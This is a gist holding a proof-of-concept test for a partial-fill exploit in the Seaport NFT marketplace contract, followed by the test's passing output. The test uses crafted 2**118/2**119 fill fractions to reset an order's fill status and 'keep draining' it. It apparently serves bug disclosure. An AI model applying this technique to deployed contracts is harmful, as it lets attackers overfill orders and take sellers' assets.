Skip to content

Instantly share code, notes, and snippets.

@hrkrshnn
Created June 1, 2022 17:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hrkrshnn/7c51b23f7c43c55ba0f8157c3b298409 to your computer and use it in GitHub Desktop.
Save hrkrshnn/7c51b23f7c43c55ba0f8157c3b298409 to your computer and use it in GitHub Desktop.
POC for a seaport exploit
modified test/index.js
@@ -5951,6 +5951,158 @@ describe(`Consideration (version: ${VERSION}) — initial test suite`, function
});
describe("Partial fills", async () => {
+ // Based on: "Partial fills (standard)"
+ it("Malicious partial fill", async() => {
+ const { nftId, amount } = await mintAndApprove1155(
+ seller,
+ marketplaceContract.address,
+ 1000
+ );
+ const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))];
+
+ console.log({offer: offer});
+
+ const consideration = [
+ getItemETH(amount.mul(1000), amount.mul(1000), seller.address),
+ getItemETH(amount.mul(10), amount.mul(10), zone.address),
+ getItemETH(amount.mul(20), amount.mul(20), owner.address),
+ ];
+ console.log({consideration: consideration});
+
+ const { order, orderHash, value } = await createOrder(
+ seller,
+ zone,
+ offer,
+ consideration,
+ 1 // PARTIAL_OPEN
+ );
+ console.log({
+ nftId: nftId,
+ amount: amount,
+ sellerAddress: seller.address,
+ zoneAddress: zone.address,
+ ownerAddress: owner.address
+ });
+
+ let orderStatus = await marketplaceContract.getOrderStatus(orderHash);
+ console.log({orderStatus: orderStatus});
+
+ expect({ ...orderStatus }).to.deep.equal(
+ buildOrderStatus(false, false, 0, 0)
+ );
+
+ // Malicious fill instead of 1 / 2
+ // numerator = 2**118
+ order.numerator = toBN("332306998946228968225951765070086144");
+ // denominator = 2**119
+ order.denominator = toBN("664613997892457936451903530140172288");
+
+ await withBalanceChecks([order], 0, [], async () => {
+ const tx = marketplaceContract
+ .connect(buyer)
+ .fulfillAdvancedOrder(order, [], toKey(false), {
+ value,
+ });
+ const receipt = await (await tx).wait();
+ await checkExpectedEvents(
+ tx,
+ receipt,
+ [
+ {
+ order,
+ orderHash,
+ fulfiller: buyer.address,
+ fulfillerConduitKey: toKey(false),
+ },
+ ],
+ null,
+ []
+ );
+
+ return receipt;
+ });
+
+ orderStatus = await marketplaceContract.getOrderStatus(orderHash);
+
+ console.log({orderStatus: orderStatus});
+ expect({ ...orderStatus }).to.deep.equal(
+ buildOrderStatus(true, false, order.numerator, order.denominator)
+ );
+
+ // Malicious fill: fill 1 / 10
+ order.numerator = toBN("1");
+ order.denominator = toBN("10");
+
+ await withBalanceChecks([order], 0, [], async () => {
+ const tx = marketplaceContract
+ .connect(buyer)
+ .fulfillAdvancedOrder(order, [], toKey(false), {
+ value,
+ });
+ const receipt = await (await tx).wait();
+ await checkExpectedEvents(
+ tx,
+ receipt,
+ [
+ {
+ order,
+ orderHash,
+ fulfiller: buyer.address,
+ fulfillerConduitKey: toKey(false),
+ },
+ ],
+ null,
+ []
+ );
+
+ return receipt;
+ });
+
+ orderStatus = await marketplaceContract.getOrderStatus(orderHash);
+ console.log({orderStatus: orderStatus});
+
+ // NOTE: Truncate the status to numerator = 0, denominator = 0
+ expect({ ...orderStatus }).to.deep.equal(
+ buildOrderStatus(true, false, 0, 0)
+ );
+
+ // Keep draining
+ order.numerator = toBN("10");
+ order.denominator = toBN("10");
+
+ await withBalanceChecks([order], 0, [], async () => {
+ const tx = marketplaceContract
+ .connect(buyer)
+ .fulfillAdvancedOrder(order, [], toKey(false), {
+ value,
+ });
+ const receipt = await (await tx).wait();
+ await checkExpectedEvents(
+ tx,
+ receipt,
+ [
+ {
+ order,
+ orderHash,
+ fulfiller: buyer.address,
+ fulfillerConduitKey: toKey(false),
+ },
+ ],
+ null,
+ []
+ );
+
+ return receipt;
+ });
+
+ orderStatus = await marketplaceContract.getOrderStatus(orderHash);
+ console.log({orderStatus: orderStatus});
+
+ expect({ ...orderStatus }).to.deep.equal(
+ buildOrderStatus(true, false, 10, 10)
+ );
+ });
+
@hrkrshnn
Copy link
Author

hrkrshnn commented Jun 1, 2022

╰─>$ npx hardhat test --grep "Malicious partial"                                                                                       ✘ 1 main ✱ ◼
No need to generate any newer typings.


  Consideration (version: 1) — initial test suite
    Advanced orders
      Partial fills
{
  offer: [
    {
      itemType: 3,
      token: '0x61b31d0256fb2FF5fA2aA25c87e3A8759b716aFa',
      identifierOrCriteria: BigNumber { value: "328777812082389744402587217383102983458" },
      startAmount: BigNumber { value: "25932212840" },
      endAmount: BigNumber { value: "25932212840" }
    }
  ]
}
{
  consideration: [
    {
      itemType: 0,
      token: '0x0000000000000000000000000000000000000000',
      identifierOrCriteria: BigNumber { value: "0" },
      startAmount: BigNumber { value: "2593221284000" },
      endAmount: BigNumber { value: "2593221284000" },
      recipient: '0xB1c07eAd43b7e43CaCE5076466c64ab6030A2684'
    },
    {
      itemType: 0,
      token: '0x0000000000000000000000000000000000000000',
      identifierOrCriteria: BigNumber { value: "0" },
      startAmount: BigNumber { value: "25932212840" },
      endAmount: BigNumber { value: "25932212840" },
      recipient: '0xbB4702c8b3852770cbB89EA21006F1388CE41849'
    },
    {
      itemType: 0,
      token: '0x0000000000000000000000000000000000000000',
      identifierOrCriteria: BigNumber { value: "0" },
      startAmount: BigNumber { value: "51864425680" },
      endAmount: BigNumber { value: "51864425680" },
      recipient: '0x40FdbD5FD061b2e0085EA5e5B216A341678ea18A'
    }
  ]
}
{
  nftId: BigNumber { value: "328777812082389744402587217383102983458" },
  amount: BigNumber { value: "2593221284" },
  sellerAddress: '0xB1c07eAd43b7e43CaCE5076466c64ab6030A2684',
  zoneAddress: '0xbB4702c8b3852770cbB89EA21006F1388CE41849',
  ownerAddress: '0x40FdbD5FD061b2e0085EA5e5B216A341678ea18A'
}
{
  orderStatus: [
    false,
    false,
    BigNumber { value: "0" },
    BigNumber { value: "0" },
    isValidated: false,
    isCancelled: false,
    totalFilled: BigNumber { value: "0" },
    totalSize: BigNumber { value: "0" }
  ]
}
{
  orderStatus: [
    true,
    false,
    BigNumber { value: "332306998946228968225951765070086144" },
    BigNumber { value: "664613997892457936451903530140172288" },
    isValidated: true,
    isCancelled: false,
    totalFilled: BigNumber { value: "332306998946228968225951765070086144" },
    totalSize: BigNumber { value: "664613997892457936451903530140172288" }
  ]
}
{
  orderStatus: [
    true,
    false,
    BigNumber { value: "0" },
    BigNumber { value: "0" },
    isValidated: true,
    isCancelled: false,
    totalFilled: BigNumber { value: "0" },
    totalSize: BigNumber { value: "0" }
  ]
}
{
  orderStatus: [
    true,
    false,
    BigNumber { value: "10" },
    BigNumber { value: "10" },
    isValidated: true,
    isCancelled: false,
    totalFilled: BigNumber { value: "10" },
    totalSize: BigNumber { value: "10" }
  ]
}
        ✔ Malicious partial fill (462ms)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment